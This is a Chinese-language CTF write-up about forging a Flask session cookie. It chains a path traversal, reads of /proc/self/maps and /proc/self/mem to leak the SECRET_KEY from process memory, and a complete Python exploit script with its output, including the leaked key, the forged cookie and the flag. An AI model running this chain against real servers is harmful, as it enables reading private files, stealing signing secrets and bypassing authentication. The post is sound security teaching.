Mobile wallpaper 1Mobile wallpaper 2Mobile wallpaper 3Mobile wallpaper 4Mobile wallpaper 5Mobile wallpaper 6
1254 字
6 分钟
关于Flask中的Session伪造——基于Python对象堆内存的分析
2025-12-25
统计加载中...

[+]前置小知识

·什么叫python存储对象的位置在堆上?

app = Flask(__name__)
app.config['SECRET_KEY'] = 'xxxxxxxx'
#只要flask一启动:
#app对象在堆上
#app.config也在堆上
#'SECRET_KEY'也在堆上
#'xxxxxxxx'也在堆上

对象又是什么?我来举一个简单的例子:

a = 1
b = [1,2,3]
c = {"key":"val"}
#a,b,c是变量名
#三者的值是对象

前面说app是实例化后的flask的一个对象其实不是很准确,这么说的原因是源码开头有这段代码

app = Flask(
__name__,
static_url_path='/',
static_folder='static'
)
#最基础的是app = Flask(__name__)
#这里是将flask的对象赋值给app,所以应该说是app指向了实例化后flask的对象

·堆还是挺形象的,就是所有对象一个一个堆起来,最终成为一个”堆”。这是直观类比,实际堆是由内存分配器管理的虚拟地址空间。

·Flask_session机制:序列化内容+时间+防篡改值,这三部分内容加密后以符号 ’.’来进行分隔。

·/proc/self/maps是由数个<起始地址-结束地址 权限 偏移 设备 inode [映射来源/文件路径]>组成的,可以通过读取该文件来得到内存数据映射的地址。

·/proc/self/mem?start=<起始地址>&end=<结束地址>,是当前进程的内存内容。要结合/proc/self/maps中的偏移地址进行读取。通过参数start和end及偏移地址值读取内容。

(这知识点都已经跑到pwn那边了ಠ_ಠ)

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[+]寻找漏洞点

打开靶机是这样子的。扫路由发现/admin和/info,进入/admin,发现回显nonono,但是我发现该靶机存在Cookie:session=eyJhZG1pbiI6MH0.aU0lvA.dpNrMbo6PxFI0b0JUaOXXB_ZqcQ,而且每次都不一样第一段可base64解码为{"admin":0},那么猜测最终将admin的值变为1即可。这是flask_session。

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[+]读取文件

接着随意点一个链接,发现url变为http://xx.xx.xx.xx:xxxxx/info?file=xxxxx.txt,疑似存在文件读取漏洞。传入/etc/passwd发现无法读取文件,路径遍历一下,成功读取。

那么再读取/proc/self/environ和/proc/self/cmdline看看,环境变量中没有收获,cmdline成功读到源码名app.py。那么再路径遍历读取app.py即可获取源码。最终是../app.py。

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat
flag = ""
app = Flask(
__name__,
static_url_path='/',
static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
if os.path.isfile("/flag"):
flag = cat("/flag")
os.remove("/flag")
@app.route('/', methods=['GET'])
def index():
detailtxt = os.listdir('./details/')
cats_list = []
for i in detailtxt:
cats_list.append(i[:i.index('.')])
return render_template("index.html", cats_list=cats_list, cat=cat)
@app.route('/info', methods=["GET", "POST"])
def info():
filename = "./details/" + request.args.get('file', "")
start = request.args.get('start', "0")
end = request.args.get('end', "0")
name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
return render_template("detail.html", catname=name, info=cat(filename, start, end))
@app.route('/admin', methods=["GET"])
def admin_can_list_root():
if session.get('admin') == 1:
return flag
else:
session['admin'] = 0
return "NoNoNo"
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=5637)

可以发现同目录下还存在cat.py,我看了下用处不大。现在主要来看/admin路由,发现确实是让admin的值为1即可获取flag。虽然我能想得到需要伪造session,但是我不知道怎么做,所以我去参考了一下大佬们的wp。

ession伪造的必要条件是获取SECRET_KEY,而python存储对象的位置在堆上,app是实例化的flask的对象,且secret_key在app.config[‘SECRET_KEY‘]中,所以可以通过/proc/self/maps中的读取特定文件来得到内存数据映射的地址,通过/proc/self/mem来读取secret_key。SECRET_KEY 之所以可被定位,是因为其值具有固定后缀*abcdefgh,并且生命周期与进程一致。

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[+]获取secret_key并伪造session(以下是大佬的Poc,因环境不同稍作修改)

# coding=utf-8
#----------------------------------
###################################
#Edited by lx56@blog.lxscloud.top
###################################
#----------------------------------
import requests
import re
import ast, sys
from abc import ABC
from flask.sessions import SecureCookieSessionInterface
url = "http://61.147.171.105:60641/"
#此程序只能运行于Python3以上
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
#----------------session 伪造----------------
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
self.config = {
"SECRET_KEY": secret_key,
"SECRET_KEY_FALLBACKS": [],
}
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
#-------------------------------------------
#由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key
s_key = ""
bypass = "../../../.."
#请求file路由进行读取
map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
map_list = map_list.text.split("\\n")
for i in map_list:
#匹配指定格式的地址
map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
if map_addr:
start = int(map_addr.group(1), 16)
end = int(map_addr.group(2), 16)
print("Found rw addr:", start, "-", end)
#设置起始和结束位置并读取/proc/self/mem
res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
#如果发现*abcdefgh存在其中,说明成功泄露secretkey
if "*abcdefgh" in res.text:
#正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
if secret_key:
print("Secret Key:", secret_key[0])
s_key = secret_key[0]
break
#设置session中admin的值为1
data = "{'admin':1}"
#伪造session
headers = {
"Cookie" : "session=" + FSCM.encode(s_key, data)
}
#请求admin路由
try:
flag = requests.get(url + "admin", headers=headers)
print(headers)
print("Flag is", flag.text)
except:
print("Something error")
'''output:
Found rw addr: 94330474651648 - 94330474655744
Found rw addr: 94330479685632 - 94330479702016
Found rw addr: 140498668433408 - 140498668449792
Found rw addr: 140498674855936 - 140498674872320
Found rw addr: 140498676985856 - 140498678038528
Found rw addr: 140498678046720 - 140498679377920
Found rw addr: 140498679611392 - 140498680029184
Found rw addr: 140498680033280 - 140498680360960
Secret Key: 1ac1870b5bb34d96b9013ebd1cc34904*abcdefgh
{'Cookie': 'session=eyJhZG1pbiI6MX0.aU0jgg.RGYg8pht_0-ZBnH3cKX5-Zx2Tww'}
Flag is catctf{Catch_the_c4t_HaHa}
'''

成功获取flag。

关于Flask中的Session伪造——基于Python对象堆内存的分析
https://fsteinsgate.cn/posts/catcat/
作者
F0r7yn
发布于
2025-12-25
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时